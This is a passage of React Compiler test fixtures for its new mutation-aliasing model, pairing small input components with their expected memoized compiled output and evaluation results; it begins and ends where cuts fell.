    "content": "\n## Input\n\n```javascript\n// @flow @enableNewMutationAliasingModel\n\nimport {identity, Stringify, useFragment} from 'shared-runtime';\n\ncomponent Example() {\n  const data = useFragment();\n\n  const {a, b} = identity(data);\n\n  const el = <Stringify tooltip={b} />;\n\n  identity(a.at(0));\n\n  return <Stringify icon={el} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\n\nimport { identity, Stringify, useFragment } from \"shared-runtime\";\n\nfunction Example() {\n  const $ = _c(2);\n  const data = useFragment();\n  let t0;\n  if ($[0] !== data) {\n    const { a, b } = identity(data);\n    const el = <Stringify tooltip={b} />;\n    identity(a.at(0));\n    t0 = <Stringify icon={el} />;\n    $[0] = data;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.js",
    "content": "// @flow @enableNewMutationAliasingModel\n\nimport {identity, Stringify, useFragment} from 'shared-runtime';\n\ncomponent Example() {\n  const data = useFragment();\n\n  const {a, b} = identity(data);\n\n  const el = <Stringify tooltip={b} />;\n\n  identity(a.at(0));\n\n  return <Stringify icon={el} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel:true\n\nexport const App = () => {\n  const [selected, setSelected] = useState(new Set<string>());\n  const onSelectedChange = (value: string) => {\n    const newSelected = new Set(selected);\n    if (newSelected.has(value)) {\n      // This should not count as a mutation of `selected`\n      newSelected.delete(value);\n    } else {\n      // This should not count as a mutation of `selected`\n      newSelected.add(value);\n    }\n    setSelected(newSelected);\n  };\n\n  return <Stringify selected={selected} onSelectedChange={onSelectedChange} />;\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel:true\n\nexport const App = () => {\n  const $ = _c(6);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = new Set();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const [selected, setSelected] = useState(t0);\n  let t1;\n  if ($[1] !== selected) {\n    t1 = (value) => {\n      const newSelected = new Set(selected);\n      if (newSelected.has(value)) {\n        newSelected.delete(value);\n      } else {\n        newSelected.add(value);\n      }\n\n      setSelected(newSelected);\n    };\n    $[1] = selected;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const onSelectedChange = t1;\n  let t2;\n  if ($[3] !== onSelectedChange || $[4] !== selected) {\n    t2 = <Stringify selected={selected} onSelectedChange={onSelectedChange} />;\n    $[3] = onSelectedChange;\n    $[4] = selected;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.js",
    "content": "// @enableNewMutationAliasingModel:true\n\nexport const App = () => {\n  const [selected, setSelected] = useState(new Set<string>());\n  const onSelectedChange = (value: string) => {\n    const newSelected = new Set(selected);\n    if (newSelected.has(value)) {\n      // This should not count as a mutation of `selected`\n      newSelected.delete(value);\n    } else {\n      // This should not count as a mutation of `selected`\n      newSelected.add(value);\n    }\n    setSelected(newSelected);\n  };\n\n  return <Stringify selected={selected} onSelectedChange={onSelectedChange} />;\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction useHook({el1, el2}) {\n  const s = new Set();\n  const arr = makeArray(el1);\n  s.add(arr);\n  // Mutate after store\n  arr.push(el2);\n\n  s.add(makeArray(el2));\n  return s.size;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction useHook(t0) {\n  const $ = _c(5);\n  const { el1, el2 } = t0;\n  let s;\n  if ($[0] !== el1 || $[1] !== el2) {\n    s = new Set();\n    const arr = makeArray(el1);\n    s.add(arr);\n\n    arr.push(el2);\n    let t1;\n    if ($[3] !== el2) {\n      t1 = makeArray(el2);\n      $[3] = el2;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    s.add(t1);\n    $[0] = el1;\n    $[1] = el2;\n    $[2] = s;\n  } else {\n    s = $[2];\n  }\n  return s.size;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.js",
    "content": "// @enableNewMutationAliasingModel\nfunction useHook({el1, el2}) {\n  const s = new Set();\n  const arr = makeArray(el1);\n  s.add(arr);\n  // Mutate after store\n  arr.push(el2);\n\n  s.add(makeArray(el2));\n  return s.size;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR @enableNewMutationAliasingModel\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  // todo: the below should memoize separately from the above\n  // my guess is that the phi causes the different `x` identifiers\n  // to get added to an alias group. this is where we need to track\n  // the actual state of the alias groups at the time of the mutation\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR @enableNewMutationAliasingModel\nfunction useFoo(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.cond || $[3] !== props.foo) {\n    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;\n    $[2] = props.cond;\n    $[3] = props.foo;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.js",
    "content": "// @enablePropagateDepsInHIR @enableNewMutationAliasingModel\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  // todo: the below should memoize separately from the above\n  // my guess is that the phi causes the different `x` identifiers\n  // to get added to an alias group. this is where we need to track\n  // the actual state of the alias groups at the time of the mutation\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  mutate,\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b, c}: {a: number; b: number; c: number}) {\n  const x = useMemo(() => [{value: a}], [a, b, c]);\n  if (b === 0) {\n    // This object should only depend on c, it cannot be affected by the later mutation\n    x.push({value: c});\n  } else {\n    // This mutation shouldn't affect the object in the consequent\n    mutate(x);\n  }\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a, b, c]} output={x} />;\n      {/* TODO: should only depend on c */}\n      <ValidateMemoization inputs={[a, b, c]} output={x[0]} />;\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0, c: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0, c: 0},\n    {a: 0, b: 1, c: 0},\n    {a: 1, b: 1, c: 0},\n    {a: 1, b: 1, c: 1},\n    {a: 1, b: 1, c: 0},\n    {a: 1, b: 0, c: 0},\n    {a: 0, b: 0, c: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport {\n  mutate,\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(21);\n  const { a, b, c } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [{ value: a }];\n    if (b === 0) {\n      x.push({ value: c });\n    } else {\n      mutate(x);\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  let t1;\n  if ($[4] !== a || $[5] !== b || $[6] !== c) {\n    t1 = [a, b, c];\n    $[4] = a;\n    $[5] = b;\n    $[6] = c;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  let t2;\n  if ($[8] !== t1 || $[9] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[8] = t1;\n    $[9] = x;\n    $[10] = t2;\n  } else {\n    t2 = $[10];\n  }\n  let t3;\n  if ($[11] !== a || $[12] !== b || $[13] !== c) {\n    t3 = [a, b, c];\n    $[11] = a;\n    $[12] = b;\n    $[13] = c;\n    $[14] = t3;\n  } else {\n    t3 = $[14];\n  }\n  let t4;\n  if ($[15] !== t3 || $[16] !== x[0]) {\n    t4 = <ValidateMemoization inputs={t3} output={x[0]} />;\n    $[15] = t3;\n    $[16] = x[0];\n    $[17] = t4;\n  } else {\n    t4 = $[17];\n  }\n  let t5;\n  if ($[18] !== t2 || $[19] !== t4) {\n    t5 = (\n      <>\n        {t2};{t4};\n      </>\n    );\n    $[18] = t2;\n    $[19] = t4;\n    $[20] = t5;\n  } else {\n    t5 = $[20];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0, c: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0, c: 0 },\n    { a: 0, b: 1, c: 0 },\n    { a: 1, b: 1, c: 0 },\n    { a: 1, b: 1, c: 1 },\n    { a: 1, b: 1, c: 0 },\n    { a: 1, b: 0, c: 0 },\n    { a: 0, b: 0, c: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0,0],\"output\":[{\"value\":0},{\"value\":0}]}</div>;<div>{\"inputs\":[0,0,0],\"output\":{\"value\":0}}</div>;\n<div>{\"inputs\":[0,1,0],\"output\":[{\"value\":0},\"joe\"]}</div>;<div>{\"inputs\":[0,1,0],\"output\":{\"value\":0}}</div>;\n<div>{\"inputs\":[1,1,0],\"output\":[{\"value\":1},\"joe\"]}</div>;<div>{\"inputs\":[1,1,0],\"output\":{\"value\":1}}</div>;\n<div>{\"inputs\":[1,1,1],\"output\":[{\"value\":1},\"joe\"]}</div>;<div>{\"inputs\":[1,1,1],\"output\":{\"value\":1}}</div>;\n<div>{\"inputs\":[1,1,0],\"output\":[{\"value\":1},\"joe\"]}</div>;<div>{\"inputs\":[1,1,0],\"output\":{\"value\":1}}</div>;\n<div>{\"inputs\":[1,0,0],\"output\":[{\"value\":1},{\"value\":0}]}</div>;<div>{\"inputs\":[1,0,0],\"output\":{\"value\":1}}</div>;\n<div>{\"inputs\":[0,0,0],\"output\":[{\"value\":0},{\"value\":0}]}</div>;<div>{\"inputs\":[0,0,0],\"output\":{\"value\":0}}</div>;"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  mutate,\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b, c}: {a: number; b: number; c: number}) {\n  const x = useMemo(() => [{value: a}], [a, b, c]);\n  if (b === 0) {\n    // This object should only depend on c, it cannot be affected by the later mutation\n    x.push({value: c});\n  } else {\n    // This mutation shouldn't affect the object in the consequent\n    mutate(x);\n  }\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a, b, c]} output={x} />;\n      {/* TODO: should only depend on c */}\n      <ValidateMemoization inputs={[a, b, c]} output={x[0]} />;\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0, c: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0, c: 0},\n    {a: 0, b: 1, c: 0},\n    {a: 1, b: 1, c: 0},\n    {a: 1, b: 1, c: 1},\n    {a: 1, b: 1, c: 0},\n    {a: 1, b: 0, c: 0},\n    {a: 0, b: 0, c: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => [{a}], [a]);\n  const f = () => {\n    const y = typedCreateFrom(x);\n    const z = typedCapture(y);\n    return z;\n  };\n  const z = f();\n  // does not mutate x, so x should not depend on b\n  typedMutate(z, b);\n\n  // TODO: this *should* only depend on `a`\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nimport { useMemo } from \"react\";\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    x = [{ a }];\n    const f = () => {\n      const y = typedCreateFrom(x);\n      const z = typedCapture(y);\n      return z;\n    };\n\n    const z_0 = f();\n\n    typedMutate(z_0, b);\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== a || $[4] !== b) {\n    t1 = [a, b];\n    $[3] = a;\n    $[4] = b;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1 || $[7] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[6] = t1;\n    $[7] = x;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":[{\"a\":0}]}</div>\n<div>{\"inputs\":[0,1],\"output\":[{\"a\":0}]}</div>\n<div>{\"inputs\":[1,1],\"output\":[{\"a\":1}]}</div>\n<div>{\"inputs\":[0,0],\"output\":[{\"a\":0}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => [{a}], [a]);\n  const f = () => {\n    const y = typedCreateFrom(x);\n    const z = typedCapture(y);\n    return z;\n  };\n  const z = f();\n  // does not mutate x, so x should not depend on b\n  typedMutate(z, b);\n\n  // TODO: this *should* only depend on `a`\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = [a];\n  const y = {b};\n  mutate(y);\n  y.x = x;\n  return <div>{y}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(5);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = [a];\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let t2;\n  if ($[2] !== b || $[3] !== x) {\n    const y = { b };\n    mutate(y);\n    y.x = x;\n    t2 = <div>{y}</div>;\n    $[2] = b;\n    $[3] = x;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = [a];\n  const y = {b};\n  mutate(y);\n  y.x = x;\n  return <div>{y}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const o: any = useMemo(() => ({a}), [a]);\n  const x: Array<any> = useMemo(() => [o], [o, b]);\n  const y = typedCapture(x);\n  const z = typedCapture(y);\n  x.push(z);\n  x.push(b);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={o} />;\n      <ValidateMemoization inputs={[a, b]} output={x} />;\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(19);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const o = t1;\n  let x;\n  if ($[2] !== b || $[3] !== o) {\n    x = [o];\n    const y = typedCapture(x);\n    const z = typedCapture(y);\n    x.push(z);\n    x.push(b);\n    $[2] = b;\n    $[3] = o;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  let t2;\n  if ($[5] !== a) {\n    t2 = [a];\n    $[5] = a;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  let t3;\n  if ($[7] !== o || $[8] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={o} />;\n    $[7] = o;\n    $[8] = t2;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  let t4;\n  if ($[10] !== a || $[11] !== b) {\n    t4 = [a, b];\n    $[10] = a;\n    $[11] = b;\n    $[12] = t4;\n  } else {\n    t4 = $[12];\n  }\n  let t5;\n  if ($[13] !== t4 || $[14] !== x) {\n    t5 = <ValidateMemoization inputs={t4} output={x} />;\n    $[13] = t4;\n    $[14] = x;\n    $[15] = t5;\n  } else {\n    t5 = $[15];\n  }\n  let t6;\n  if ($[16] !== t3 || $[17] !== t5) {\n    t6 = (\n      <>\n        {t3};{t5};\n      </>\n    );\n    $[16] = t3;\n    $[17] = t5;\n    $[18] = t6;\n  } else {\n    t6 = $[18];\n  }\n  return t6;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":{\"a\":0}}</div>;<div>{\"inputs\":[0,0],\"output\":[{\"a\":0},[[\"[[ cyclic ref *2 ]]\"]],0]}</div>;\n<div>{\"inputs\":[0],\"output\":{\"a\":0}}</div>;<div>{\"inputs\":[0,1],\"output\":[{\"a\":0},[[\"[[ cyclic ref *2 ]]\"]],1]}</div>;\n<div>{\"inputs\":[1],\"output\":{\"a\":1}}</div>;<div>{\"inputs\":[1,1],\"output\":[{\"a\":1},[[\"[[ cyclic ref *2 ]]\"]],1]}</div>;\n<div>{\"inputs\":[0],\"output\":{\"a\":0}}</div>;<div>{\"inputs\":[0,0],\"output\":[{\"a\":0},[[\"[[ cyclic ref *2 ]]\"]],0]}</div>;"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const o: any = useMemo(() => ({a}), [a]);\n  const x: Array<any> = useMemo(() => [o], [o, b]);\n  const y = typedCapture(x);\n  const z = typedCapture(y);\n  x.push(z);\n  x.push(b);\n\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={o} />;\n      <ValidateMemoization inputs={[a, b]} output={x} />;\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}: {a: number; b: number}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const f = () => {\n    const y = typedCapture(x);\n    const z = typedCreateFrom(y);\n    return z;\n  };\n  const z = f();\n  // mutates x\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    x = { a };\n    const f = () => {\n      const y = typedCapture(x);\n      const z = typedCreateFrom(y);\n      return z;\n    };\n\n    const z_0 = f();\n\n    typedMutate(z_0, b);\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== a || $[4] !== b) {\n    t1 = [a, b];\n    $[3] = a;\n    $[4] = b;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1 || $[7] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[6] = t1;\n    $[7] = x;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"property\":0}}</div>\n<div>{\"inputs\":[0,1],\"output\":{\"a\":0,\"property\":1}}</div>\n<div>{\"inputs\":[1,1],\"output\":{\"a\":1,\"property\":1}}</div>\n<div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"property\":0}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}: {a: number; b: number}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const f = () => {\n    const y = typedCapture(x);\n    const z = typedCreateFrom(y);\n    return z;\n  };\n  const z = f();\n  // mutates x\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}: {a: number; b: number}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const y = typedCapture(x);\n  const z = typedCreateFrom(y);\n  // mutates x\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    x = { a };\n    const y = typedCapture(x);\n    const z = typedCreateFrom(y);\n\n    typedMutate(z, b);\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== a || $[4] !== b) {\n    t1 = [a, b];\n    $[3] = a;\n    $[4] = b;\n    